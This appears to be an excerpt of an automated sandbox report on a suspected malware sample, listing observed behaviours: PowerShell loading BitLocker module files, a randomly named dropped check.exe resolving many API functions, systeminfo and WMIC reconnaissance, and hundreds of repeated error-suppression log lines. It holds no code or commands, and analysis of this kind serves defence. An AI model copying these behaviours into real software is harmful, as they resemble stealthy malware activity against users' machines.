Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe

Code function: 9_2_00007FF61C4C76C0 GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,GetProcAddress,GetLastError,

9_2_00007FF61C4C76C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\systeminfo.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
